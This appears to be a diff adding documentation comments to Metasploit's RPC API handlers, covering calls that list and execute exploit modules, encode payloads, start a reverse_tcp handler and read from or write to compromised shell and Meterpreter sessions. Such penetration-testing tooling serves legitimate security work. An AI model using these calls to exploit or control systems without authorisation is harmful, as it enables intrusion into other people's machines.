|||
module RPC
|
||||
class RPC_Core < RPC_Base
|
||||
|
||||
# Returns the RPC service versions.
|
||||
#
|
||||
# @return [Hash] A hash that includes the version information:
|
||||
# * 'version' [String] Framework version
|
||||
# * 'ruby' [String] Ruby version
|
||||
# * 'api' [String] API version
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('core.version')
|
||||
def rpc_version
|
||||
{
|
||||
"version" => ::Msf::Framework::Version,
|
||||
|
@ -11,40 +19,117 @@ class RPC_Core < RPC_Base
|
|||
}
|
||||
end
|
||||
|
||||
|
||||
# Stops the RPC service.
|
||||
#
|
||||
# @return [void]
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('core.stop')
|
||||
def rpc_stop
|
||||
self.service.stop
|
||||
end
|
||||
|
||||
|
||||
# Returns a global datstore option.
|
||||
#
|
||||
# @param [String] var The name of the global datastore.
|
||||
# @return [Hash] The global datastore option. If the option is not set, then the value is empty.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('core.getg', 'GlobalSetting')
|
||||
def rpc_getg(var)
|
||||
val = framework.datastore[var]
|
||||
{ var.to_s => val.to_s }
|
||||
end
|
||||
|
||||
|
||||
# Sets a global datastore option.
|
||||
#
|
||||
# @param [String] var The hash key of the global datastore option.
|
||||
# @param [String] val The value of the global datastore option.
|
||||
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||
# * 'result' [String] The successful message: 'success'
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('core.setg', 'MyGlobal', 'foobar')
|
||||
def rpc_setg(var, val)
|
||||
framework.datastore[var] = val
|
||||
{ "result" => "success" }
|
||||
end
|
||||
|
||||
|
||||
# Unsets a global datastore option.
|
||||
#
|
||||
# @param [String] var The global datastore option.
|
||||
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||
# * 'result' [String] The successful message: 'success'
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('core.unsetg', 'MyGlobal')
|
||||
def rpc_unsetg(var)
|
||||
framework.datastore.delete(var)
|
||||
{ "result" => "success" }
|
||||
end
|
||||
|
||||
|
||||
# Saves current framework settings.
|
||||
#
|
||||
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||
# * 'result' [String] The successful message: 'success'
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('core.save')
|
||||
def rpc_save
|
||||
framework.save_config
|
||||
{ "result" => "success" }
|
||||
end
|
||||
|
||||
|
||||
# Reloads framework modules. This will take some time to complete.
|
||||
#
|
||||
# @return [Hash] Module stats that contain the following keys:
|
||||
# * 'exploits' [Fixnum] The number of exploits reloaded.
|
||||
# * 'auxiliary' [Fixnum] The number of auxiliary modules reloaded.
|
||||
# * 'post' [Fixnum] The number of post modules reloaded.
|
||||
# * 'encoders' [Fixnum] The number of encoders reloaded.
|
||||
# * 'nops' [Fixnum] The number of NOP modules reloaded.
|
||||
# * 'payloads' [Fixnum] The number of payloads reloaded.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('core.reload_modules')
|
||||
def rpc_reload_modules
|
||||
framework.modules.reload_modules
|
||||
rpc_module_stats()
|
||||
end
|
||||
|
||||
|
||||
# Adds a new local file system path (local to the server) as a module path. The module must be
|
||||
# accessible to the user running the Metasploit service, and contain a top-level directory for
|
||||
# each module type such as: exploits, nop, encoder, payloads, auxiliary, post. Also note that
|
||||
# this will not unload modules that were deleted from the file system that were previously loaded.
|
||||
#
|
||||
# @param [String] path The new path to load.
|
||||
# @return [Hash] Module stats that contain the following keys:
|
||||
# * 'exploits' [Fixnum] The number of exploits loaded.
|
||||
# * 'auxiliary' [Fixnum] The number of auxiliary modules loaded.
|
||||
# * 'post' [Fixnum] The number of post modules loaded.
|
||||
# * 'encoders' [Fixnum] The number of encoders loaded.
|
||||
# * 'nops' [Fixnum] The number of NOP modules loaded.
|
||||
# * 'payloads' [Fixnum] The number of payloads loaded.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('core.add_module_path', '/tmp/modules/')
|
||||
def rpc_add_module_path(path)
|
||||
framework.modules.add_module_path(path)
|
||||
rpc_module_stats()
|
||||
end
|
||||
|
||||
|
||||
# Returns the module stats.
|
||||
#
|
||||
# @return [Hash] Module stats that contain the following keys:
|
||||
# * 'exploits' [Fixnum] The number of exploits.
|
||||
# * 'auxiliary' [Fixnum] The number of auxiliary modules.
|
||||
# * 'post' [Fixnum] The number of post modules.
|
||||
# * 'encoders' [Fixnum] The number of encoders.
|
||||
# * 'nops' [Fixnum] The number of NOP modules.
|
||||
# * 'payloads' [Fixnum] The number of payloads.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('core.module_stats')
|
||||
def rpc_module_stats
|
||||
{
|
||||
'exploits' => framework.stats.num_exploits,
|
||||
|
@ -56,6 +141,18 @@ class RPC_Core < RPC_Base
|
|||
}
|
||||
end
|
||||
|
||||
# Returns a list of framework threads.
|
||||
#
|
||||
# @return [Hash] A collection of threads. Each key is the thread ID, and the value is another hash
|
||||
# that contains the following:
|
||||
# * 'status' [String] Thread status.
|
||||
# * 'critical' [Boolean] Thread is critical.
|
||||
# * 'name' [String] Thread name.
|
||||
# * 'started' [String] Timestamp of when the thread started.
|
||||
# @example Here's how you would use this from the cient:
|
||||
# # You will get something like this:
|
||||
# # {0=>{"status"=>"sleep", "critical"=>false, "name"=>"StreamServerListener", "started"=>"2015-04-21 15:25:49 -0500"}}
|
||||
# rpc.call('core.thread_list')
|
||||
def rpc_thread_list
|
||||
res = {}
|
||||
framework.threads.each_index do |i|
|
||||
|
@ -71,6 +168,13 @@ class RPC_Core < RPC_Base
|
|||
res
|
||||
end
|
||||
|
||||
# Kills a framework thread.
|
||||
#
|
||||
# @param [Fixnum] tid The thread ID to kill.
|
||||
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||
# * 'result' [String] A successful message: 'success'
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('core.thread_kill', 10)
|
||||
def rpc_thread_kill(tid)
|
||||
framework.threads.kill(tid.to_i) rescue nil
|
||||
{ "result" => "success" }
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -3,6 +3,14 @@ module Msf
|
|||
module RPC
|
||||
class RPC_Job < RPC_Base
|
||||
|
||||
# Returns a list of jobs.
|
||||
#
|
||||
# @return [Hash] A list of jobs (IDs and names).
|
||||
# Each key is the job ID, and each value is the job name.
|
||||
# @example Here's how you would use this from the client:
|
||||
# # This will return ('0' is the job ID):
|
||||
# # {"0"=>"Exploit: windows/browser/ms14_064_ole_code_execution"
|
||||
# rpc.call('job.list')
|
||||
def rpc_list
|
||||
res = {}
|
||||
self.framework.jobs.each do |j|
|
||||
|
@ -11,6 +19,14 @@ class RPC_Job < RPC_Base
|
|||
res
|
||||
end
|
||||
|
||||
# Stops a job.
|
||||
#
|
||||
# @param [Fixnum] jid Job ID.
|
||||
# @raise [Msf::RPC::Exception] A 500 response indicating an invalid job ID was given.
|
||||
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||
# * 'result' [String] A successful message: 'success'
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('job.stop', 0)
|
||||
def rpc_stop(jid)
|
||||
obj = self.framework.jobs[jid.to_s]
|
||||
error(500, "Invalid Job") if not obj
|
||||
|
@ -18,6 +34,17 @@ class RPC_Job < RPC_Base
|
|||
{ "result" => "success" }
|
||||
end
|
||||
|
||||
# Returns information about a job.
|
||||
#
|
||||
# @param [Fixnum] jid Job ID.
|
||||
# @raise [Msf::RPC::Exception] A 500 response indicating an invalid job ID was given.
|
||||
# @return [Hash] A hash that contains information about the job, such as the following (and maybe more):
|
||||
# * 'jid' [Fixnum] The Job ID.
|
||||
# * 'name' [String] The name of the job.
|
||||
# * 'start_time' [Fixnum] The start time.
|
||||
# * 'datastore' [Hash] Datastore options for the module.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('job.info', 0)
|
||||
def rpc_info(jid)
|
||||
obj = self.framework.jobs[jid.to_s]
|
||||
error(500, "Invalid Job") if not obj
|
||||
|
|
|
@ -4,30 +4,86 @@ module Msf
|
|||
module RPC
|
||||
class RPC_Module < RPC_Base
|
||||
|
||||
# Returns a list of exploit names. The 'exploit/' prefix will not be included.
|
||||
#
|
||||
# @return [Hash] A list of exploit names. It contains the following key:
|
||||
# * 'modules' [Array<string>] Exploit names, for example: ['windows/wins/ms04_045_wins']
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('module.exploits')
|
||||
def rpc_exploits
|
||||
{ "modules" => self.framework.exploits.keys }
|
||||
end
|
||||
|
||||
|
||||
# Returns a list of auxiliary module names. The 'auxiliary/' prefix will not be included.
|
||||
#
|
||||
# @return [Hash] A list of auxiliary module names. It contains the following key:
|
||||
# * 'modules' [Array<string>] Auxiliary module names, for example: ['vsploit/pii/web_pii']
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('module.auxiliary')
|
||||
def rpc_auxiliary
|
||||
{ "modules" => self.framework.auxiliary.keys }
|
||||
end
|
||||
|
||||
|
||||
# Returns a list of payload module names. The 'payload/' prefix will not be included.
|
||||
#
|
||||
# @return [Hash] A list of payload module names. It contains the following key:
|
||||
# * 'modules' [Array<string>] Payload module names, for example: ['windows/x64/shell_reverse_tcp']
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('module.payloads')
|
||||
def rpc_payloads
|
||||
{ "modules" => self.framework.payloads.keys }
|
||||
end
|
||||
|
||||
|
||||
# Returns a list of encoder module names. The 'encoder/' prefix will not be included.
|
||||
#
|
||||
# @return [Hash] A list of encoder module names. It contains the following key:
|
||||
# * 'modules' [Array<string>] Encoder module names, for example: ['x86/unicode_upper']
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('module.encoders')
|
||||
def rpc_encoders
|
||||
{ "modules" => self.framework.encoders.keys }
|
||||
end
|
||||
|
||||
|
||||
# Returns a list of NOP module names. The 'nop/' prefix will not be included.
|
||||
#
|
||||
# @return [Hash] A list of NOP module names. It contains the following key:
|
||||
# * 'modules' [Array<string>] NOP module names, for example: ['x86/single_byte']
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('module.nops')
|
||||
def rpc_nops
|
||||
{ "modules" => self.framework.nops.keys }
|
||||
end
|
||||
|
||||
|
||||
# Returns a list of post module names. The 'post/' prefix will not be included.
|
||||
#
|
||||
# @return [Hash] A list of post module names. It contains the following key:
|
||||
# * 'modules' [Array<string>] Post module names, for example: ['windows/wlan/wlan_profile']
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('module.post')
|
||||
def rpc_post
|
||||
{ "modules" => self.framework.post.keys }
|
||||
end
|
||||
|
||||
|
||||
# Returns the metadata for a module.
|
||||
#
|
||||
# @param [String] mtype Module type. Supported types include (case-sensitive):
|
||||
# * exploit
|
||||
# * auxiliary
|
||||
# * post
|
||||
# * nop
|
||||
# * payload
|
||||
# @param [String] mname Module name. For example: 'windows/wlan/wlan_profile'.
|
||||
# @raise [Msf::RPC::Exception] Module not found (either the wrong type or name).
|
||||
# @return [Hash] The module's metadata. The exact keys you will get depends on the module.
|
||||
# @example Here's how you would use this from the client:
|
||||
# # This gives us the metadata of ms08_067_netapi
|
||||
# rpc.call('module.info', 'exploit', 'windows/smb/ms08_067_netapi')
|
||||
def rpc_info(mtype, mname)
|
||||
m = _find_module(mtype,mname)
|
||||
res = {}
|
||||
|
@ -74,6 +130,14 @@ class RPC_Module < RPC_Base
|
|||
end
|
||||
|
||||
|
||||
# Returns the compatible payloads for a specific exploit.
|
||||
#
|
||||
# @param [String] mname Exploit module name. For example: 'windows/smb/ms08_067_netapi'.
|
||||
# @raise [Msf::RPC::Exception] Module not found (wrong name).
|
||||
# @return [Hash] The exploit's compatible payloads. It contains the following key:
|
||||
# * 'payloads' [Array<string>] A list of payloads. For example: ['generic/custom']
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('module.compatible_payloads', 'windows/smb/ms08_067_netapi')
|
||||
def rpc_compatible_payloads(mname)
|
||||
m = _find_module('exploit',mname)
|
||||
res = {}
|
||||
|
@ -85,6 +149,15 @@ class RPC_Module < RPC_Base
|
|||
res
|
||||
end
|
||||
|
||||
|
||||
# Returns the compatible sessions for a specific post module.
|
||||
#
|
||||
# @param [String] mname Post module name. For example: 'windows/wlan/wlan_profile'.
|
||||
# @raise [Msf::RPC::Exception] Module not found (wrong name).
|
||||
# @return [Hash] The post module's compatible sessions. It contains the following key:
|
||||
# * 'sessions' [Array<Fixnum>] A list of session IDs.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('module.compatible_sessions', 'windows/wlan/wlan_profile')
|
||||
def rpc_compatible_sessions(mname)
|
||||
m = _find_module('post',mname)
|
||||
res = {}
|
||||
|
@ -93,6 +166,17 @@ class RPC_Module < RPC_Base
|
|||
res
|
||||
end
|
||||
|
||||
|
||||
# Returns the compatible target-specific payloads for an exploit.
|
||||
#
|
||||
# @param [String] mname Exploit module name. For example: 'windows/smb/ms08_067_netapi'
|
||||
# @param [Fixnum] target A specific target the exploit module provides.
|
||||
# @raise [Msf::RPC::Exception] Module not found (wrong name).
|
||||
# @return [Hash] The exploit's target-specific payloads. It contains the following key:
|
||||
# * 'payloads' [Array<string>] A list of payloads.
|
||||
# @example Here's how you would use this from the client:
|
||||
# # Find all the compatible payloads for target 1 (Windows 2000 Universal)
|
||||
# rpc.call('module.target_compatible_payloads', 'windows/smb/ms08_067_netapi', 1)
|
||||
def rpc_target_compatible_payloads(mname, target)
|
||||
m = _find_module('exploit',mname)
|
||||
res = {}
|
||||
|
@ -105,6 +189,21 @@ class RPC_Module < RPC_Base
|
|||
res
|
||||
end
|
||||
|
||||
|
||||
# Returns the module's datastore options.
|
||||
#
|
||||
# @param [String] mtype Module type. Supported types include (case-sensitive):
|
||||
# * exploit
|
||||
# * auxiliary
|
||||
# * post
|
||||
# * nop
|
||||
# * payload
|
||||
# @param [String] mname Module name. For example: 'windows/wlan/wlan_profile'.
|
||||
# @raise [Msf::RPC::Exception] Module not found (either wrong type or name).
|
||||
# @return [Hash] The module's datastore options. This will actually give you each option's
|
||||
# data type, requirement state, basic/advanced type, description, default value, etc.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('module.options', 'exploit', 'windows/smb/ms08_067_netapi')
|
||||
def rpc_options(mtype, mname)
|
||||
m = _find_module(mtype,mname)
|
||||
res = {}
|
||||
|
@ -131,6 +230,28 @@ class RPC_Module < RPC_Base
|
|||
res
|
||||
end
|
||||
|
||||
|
||||
# Executes a module.
|
||||
#
|
||||
# @param [String] mtype Module type. Supported types include (case-sensitive):
|
||||
# * exploit
|
||||
# * auxiliary
|
||||
# * post
|
||||
# * payload
|
||||
# @param [String] mname Module name. For example: 'windows/smb/ms08_067_netapi'.
|
||||
# @param [Hash] opts Options for the module (such as datastore options).
|
||||
# @raise [Msf::RPC::Exception] Module not found (either wrong type or name).
|
||||
# @note If you get exploit sessions via the RPC service, know that only the RPC clients
|
||||
# have access to those sessions. Framework msfconsole will not be able to use or
|
||||
# even see these sessions, because it belongs to a different framework instance.
|
||||
# However, this restriction does not apply to the database.
|
||||
# @return [Hash] It contains the following keys:
|
||||
# * 'job_id' [Fixnum] Job ID.
|
||||
# * 'uuid' [String] UUID.
|
||||
# @example Here's how you would use this from the client:
|
||||
# # Starts a windows/meterpreter/reverse_tcp on port 6669
|
||||
# opts = {'LHOST' => '0.0.0.0', 'LPORT'=>6669, 'PAYLOAD'=>'windows/meterpreter/reverse_tcp'}
|
||||
# rpc.call('module.execute', 'exploit', 'multi/handler', opts)
|
||||
def rpc_execute(mtype, mname, opts)
|
||||
mod = _find_module(mtype,mname)
|
||||
case mtype
|
||||
|
@ -146,11 +267,44 @@ class RPC_Module < RPC_Base
|
|||
|
||||
end
|
||||
|
||||
|
||||
# Returns a list of encoding formats.
|
||||
#
|
||||
# @return [Array<String>] Encoding foramts.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('module.encode_formats')
|
||||
def rpc_encode_formats
|
||||
# Supported formats
|
||||
Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
|
||||
end
|
||||
|
||||
|
||||
# Encodes data with an encoder.
|
||||
#
|
||||
# @param [String] data Data to encode.
|
||||
# @param [encoder] encoder Encoder module name. For example: 'x86/single_byte'.
|
||||
# @param [Hash] options Encoding options, such as:
|
||||
# @option options [String] 'format' Encoding format.
|
||||
# @option options [String] 'badchars' Bad characters.
|
||||
# @option options [String] 'platform' Platform.
|
||||
# @option options [String] 'arch' Architecture.
|
||||
# @option options [Fixnum] 'ecount' Number of times to encode.
|
||||
# @option options [TrueClass] 'inject' To enable injection.
|
||||
# @option options [String] 'template' The template file (an executable).
|
||||
# @option options [String] 'template_path' Template path.
|
||||
# @option options [String] 'addshellcode' Custom shellcode.
|
||||
# @raise [Msf::RPC::Exception] Error could be one of these:
|
||||
# * 500 Invalid format
|
||||
# * 500 Failure to encode
|
||||
# @return The encoded data. It contains the following key:
|
||||
# * 'encoded' [String] The encoded data in the format you specify.
|
||||
# @example Here's how you would use this from the client:
|
||||
# # This will encode 'AAAA' with shikata_ga_nai, and prints the following:
|
||||
# # unsigned char buf[] =
|
||||
# # "\xba\x9e\xb5\x91\x66\xdb\xd2\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"
|
||||
# # "\x01\x31\x57\x15\x03\x57\x15\x83\xc7\x04\xe2\x6b\xf4\xd0\x27";
|
||||
# result = rpc.call('module.encode', 'AAAA', 'x86/shikata_ga_nai', {'format'=>'c'})
|
||||
# puts result['encoded']
|
||||
def rpc_encode(data, encoder, options)
|
||||
# Load supported formats
|
||||
supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
|
||||
|
|
|
@ -3,8 +3,20 @@ module Msf
|
|||
module RPC
|
||||
class RPC_Plugin < RPC_Base
|
||||
|
||||
# Loads a plugin.
|
||||
#
|
||||
# @param [String] path The plugin filename (without the extension). It will try to find your plugin
|
||||
# in either one of these directories:
|
||||
# * msf/plugins/
|
||||
# * ~/.msf4/plugins/
|
||||
# @param [Hash] xopts Options to pass to the plugin.
|
||||
# @return [Hash] A hash indicating whether the action was successful or not.
|
||||
# It contains the following key:
|
||||
# * 'result' [String] A value that either says 'success' or 'failure'.
|
||||
# @example Here's how you would use this from the client:
|
||||
# # Load the nexpose plugin
|
||||
# rpc.call('plugin.load', 'nexpose')
|
||||
def rpc_load(path, xopts = {})
|
||||
|
||||
opts = {}
|
||||
|
||||
xopts.each do |k,v|
|
||||
|
@ -35,6 +47,15 @@ class RPC_Plugin < RPC_Base
|
|||
|
||||
end
|
||||
|
||||
|
||||
# Unloads a plugin.
|
||||
#
|
||||
# @param [String] name The plugin filename (without the extension). For example: 'nexpose'.
|
||||
# @return [Hash] A hash indicating whether the action was successful or not.
|
||||
# It contains the following key:
|
||||
# * 'result' [String] A value that either says 'success' or 'failure'.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('plugin.unload', 'nexpose')
|
||||
def rpc_unload(name)
|
||||
self.framework.plugins.each { |plugin|
|
||||
# Unload the plugin if it matches the name we're searching for
|
||||
|
@ -47,6 +68,13 @@ class RPC_Plugin < RPC_Base
|
|||
|
||||
end
|
||||
|
||||
|
||||
# Returns a list of loaded plugins.
|
||||
#
|
||||
# @return [Hash] All the plugins loaded. It contains the following key:
|
||||
# * 'plugins' [Array<string>] A list of plugin names.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('plugin.loaded')
|
||||
def rpc_loaded
|
||||
ret = {}
|
||||
ret[:plugins] = []
|
||||
|
|
|
@ -6,6 +6,27 @@ module Msf
|
|||
module RPC
|
||||
class RPC_Session < RPC_Base
|
||||
|
||||
# Returns a list of sessions that belong to the framework instance used by the RPC service.
|
||||
#
|
||||
# @return [Hash] Information about sessions. Each key is the session ID, and each value is a hash
|
||||
# that contains the following:
|
||||
# * 'type' [String] Payload type. Example: meterpreter.
|
||||
# * 'tunnel_local' [String] Tunnel (where the malicious traffic comes from).
|
||||
# * 'tunnel_peer' [String] Tunnel (local).
|
||||
# * 'via_exploit' [String] Name of the exploit used by the session.
|
||||
# * 'desc' [String] Session description.
|
||||
# * 'info' [String] Session info (most likely the target's computer name).
|
||||
# * 'workspace' [String] Name of the workspace.
|
||||
# * 'session_host' [String] Session host.
|
||||
# * 'session_port' [Fixnum] Session port.
|
||||
# * 'target_host' [String] Target host.
|
||||
# * 'username' [String] Username.
|
||||
# * 'uuid' [String] UUID.
|
||||
# * 'exploit_uuid' [String] Exploit's UUID.
|
||||
# * 'routes' [String] Routes.
|
||||
# * 'platform' [String] Platform.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('session.list')
|
||||
def rpc_list
|
||||
res = {}
|
||||
self.framework.sessions.each do |sess|
|
||||
|
@ -34,6 +55,13 @@ class RPC_Session < RPC_Base
|
|||
res
|
||||
end
|
||||
|
||||
|
||||
# Stops a session.
|
||||
#
|
||||
# @param [Fixnum] sid Session ID.
|
||||
# @raise [Msf::RPC::Exception] Unknown session ID.
|
||||
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||
# * 'result' [String] A message that says 'success'.
|
||||
def rpc_stop( sid)
|
||||
|
||||
s = self.framework.sessions[sid.to_i]
|
||||
|
@ -44,11 +72,26 @@ class RPC_Session < RPC_Base
|
|||
{ "result" => "success" }
|
||||
end
|
||||
|
||||
# Shell read is now a positon-aware reader of the shell's associated
|
||||
# ring buffer. For more direct control of the pointer into a ring
|
||||
# buffer, a client can instead use ring_read, and note the returned
|
||||
# sequence number on their own (making multiple views into the same
|
||||
# session possible, regardless of position in the stream)
|
||||
|
||||
# Reads the output of a shell session (such as a command output).
|
||||
#
|
||||
# @note Shell read is now a positon-aware reader of the shell's associated
|
||||
# ring buffer. For more direct control of the pointer into a ring
|
||||
# buffer, a client can instead use ring_read, and note the returned
|
||||
# sequence number on their own (making multiple views into the same
|
||||
# session possible, regardless of position in the stream)
|
||||
# @see #rpc_ring_read
|
||||
# @param [Fixnum] sid Session ID.
|
||||
# @param [Fixnum] ptr Pointer.
|
||||
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||
# * 500 Session ID is unknown.
|
||||
# * 500 Invalid session type.
|
||||
# * 500 Session is disconnected.
|
||||
# @return [Hash] It contains the following keys:
|
||||
# * 'seq' [String] Sequence.
|
||||
# * 'data' [String] Read data.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('session.shell_read', 2)
|
||||
def rpc_shell_read( sid, ptr=nil)
|
||||
_valid_session(sid,"shell")
|
||||
# @session_sequence tracks the pointer into the ring buffer
|
||||
|
@ -63,12 +106,39 @@ class RPC_Session < RPC_Base
|
|||
return ring_buffer
|
||||
end
|
||||
|
||||
# shell_write is pretty much totally identical to ring_put
|
||||
|
||||
# Writes to a shell session (such as a command). Note that you will to manually add a newline at the
|
||||
# enf of your input so the system will process it.
|
||||
# You may want to use #rpc_shell_read to retrieve the output.
|
||||
#
|
||||
# @note shell_write is a wrapper of #rpc_ring_put.
|
||||
# @see #rpc_ring_put
|
||||
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||
# * 500 Session ID is unknown.
|
||||
# * 500 Invalid session type.
|
||||
# * 500 Session is disconnected.
|
||||
# @param [Fixnum] sid Session ID.
|
||||
# @param [String] data The data to write.
|
||||
# @return [Hash]
|
||||
# * 'write_count' [Fixnum] Number of bytes written.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('session.shell_write', 2, "DATA")
|
||||
def rpc_shell_write( sid, data)
|
||||
_valid_session(sid,"shell")
|
||||
rpc_ring_put(sid,data)
|
||||
end
|
||||
|
||||
|
||||
# Upgrades a shell to a meterpreter.
|
||||
#
|
||||
# @note This uses post/multi/manage/shell_to_meterpreter.
|
||||
# @param [Fixnum] sid Session ID.
|
||||
# @param [String] lhost Local host.
|
||||
# @param [Fixnum] lport Local port.
|
||||
# @return [Hash] A hash indicating the actioin was successful. It contains the following key:
|
||||
# * 'result' [String] A message that says 'success'
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('session.shell_upgrade', 2, payload_lhost, payload_lport)
|
||||
def rpc_shell_upgrade( sid, lhost, lport)
|
||||
s = _valid_session(sid,"shell")
|
||||
s.exploit_datastore['LHOST'] = lhost
|
||||
|
@ -77,6 +147,20 @@ class RPC_Session < RPC_Base
|
|||
{ "result" => "success" }
|
||||
end
|
||||
|
||||
|
||||
# Reads the output from a meterpreter session (such as a command output).
|
||||
#
|
||||
# @note Multiple concurrent callers writing and reading the same Meterperter session can lead to
|
||||
# a conflict, where one caller gets the others output and vice versa. Concurrent access to a
|
||||
# Meterpreter session is best handled by post modules.
|
||||
# @param [Fixnum] sid Session ID.
|
||||
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||
# * 500 Session ID is unknown.
|
||||
# * 500 Invalid session type.
|
||||
# @return [Hash] It contains the following key:
|
||||
# * 'data' [String] Data read.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('session.meterpreter_read', 2)
|
||||
def rpc_meterpreter_read( sid)
|
||||
s = _valid_session(sid,"meterpreter")
|
||||
|
||||
|
@ -88,6 +172,20 @@ class RPC_Session < RPC_Base
|
|||
{ "data" => data }
|
||||
end
|
||||
|
||||
|
||||
# Reads from a session (such as a command output).
|
||||
#
|
||||
# @param [Fixnum] sid Session ID.
|
||||
# @param [Fixnum] ptr Pointer.
|
||||
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||
# * 500 Session ID is unknown.
|
||||
# * 500 Invalid session type.
|
||||
# * 500 Session is disconnected.
|
||||
# @return [Hash] It contains the following key:
|
||||
# * 'seq' [String] Sequence.
|
||||
# * 'data' [String] Read data.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('session.ring_read', 2)
|
||||
def rpc_ring_read( sid, ptr=nil)
|
||||
s = _valid_session(sid,"ring")
|
||||
begin
|
||||
|
@ -98,6 +196,19 @@ class RPC_Session < RPC_Base
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
# Sends an input to a session (such as a command).
|
||||
#
|
||||
# @param [Fixnum] sid Session ID.
|
||||
# @param [String] data Data to write.
|
||||
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||
# * 500 Session ID is unknown.
|
||||
# * 500 Invalid session type.
|
||||
# * 500 Session is disconnected.
|
||||
# @return [Hash] It contains the following key:
|
||||
# * 'write_count' [String] Number of bytes written.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('session.ring_put', 2, "DATA")
|
||||
def rpc_ring_put( sid, data)
|
||||
s = _valid_session(sid,"ring")
|
||||
begin
|
||||
|
@ -108,11 +219,32 @@ class RPC_Session < RPC_Base
|
|||
end
|
||||
end
|
||||
|
||||
# Returns the last sequence (last issued ReadPointer) for a shell session.
|
||||
#
|
||||
# @param [Fixnum] sid Session ID.
|
||||
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||
# * 500 Session ID is unknown.
|
||||
# * 500 Invalid session type.
|
||||
# @return [Hash] It contains the following key:
|
||||
# * 'seq' [String] Sequence.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('session.ring_last', 2)
|
||||
def rpc_ring_last( sid)
|
||||
s = _valid_session(sid,"ring")
|
||||
{ "seq" => s.ring.last_sequence.to_s }
|
||||
end
|
||||
|
||||
|
||||
# Clears a shell session. This may be useful to reclaim memory for idle background sessions.
|
||||
#
|
||||
# @param [Fixnum] sid Session ID.
|
||||
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||
# * 500 Session ID is unknown.
|
||||
# * 500 Invalid session type.
|
||||
# @return [Hash] A hash indicating whether the action was successful or not. It contains:
|
||||
# * 'result' [String] Either 'success' or 'failure'.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('session.ring_clear', 2)
|
||||
def rpc_ring_clear( sid)
|
||||
s = _valid_session(sid,"ring")
|
||||
res = s.ring.clear_data
|
||||
|
@ -123,9 +255,23 @@ class RPC_Session < RPC_Base
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
# Sends an input to a meterpreter prompt.
|
||||
# You may want to use #rpc_meterpreter_read to retrieve the output.
|
||||
#
|
||||
# Run a single meterpreter console command
|
||||
#
|
||||
# @note Multiple concurrent callers writing and reading the same Meterperter session can lead to
|
||||
# a conflict, where one caller gets the others output and vice versa. Concurrent access to a
|
||||
# Meterpreter session is best handled by post modules.
|
||||
# @param [Fixnum] sid Session ID.
|
||||
# @param [String] data Input to the meterpreter prompt.
|
||||
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||
# * 500 Session ID is unknown.
|
||||
# * 500 Invalid session type.
|
||||
# @return [Hash] A hash indicating the action was successful or not. It contains the following key:
|
||||
# * 'result' [String] Either 'success' or 'failure'.
|
||||
# @see #rpc_meterpreter_run_single
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('session.meterpreter_write', 2, "sysinfo")
|
||||
def rpc_meterpreter_write( sid, data)
|
||||
s = _valid_session(sid,"meterpreter")
|
||||
|
||||
|
@ -145,6 +291,17 @@ class RPC_Session < RPC_Base
|
|||
{ "result" => "success" }
|
||||
end
|
||||
|
||||
|
||||
# Detaches from a meterpreter session. Serves the same purpose as [CTRL]+[Z].
|
||||
#
|
||||
# @param [Fixnum] sid Session ID.
|
||||
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||
# * 500 Session ID is unknown.
|
||||
# * 500 Invalid session type.
|
||||
# @return [Hash] A hash indicating the action was successful or not. It contains:
|
||||
# * 'result' [String] Either 'success' or 'failure'.
|
||||
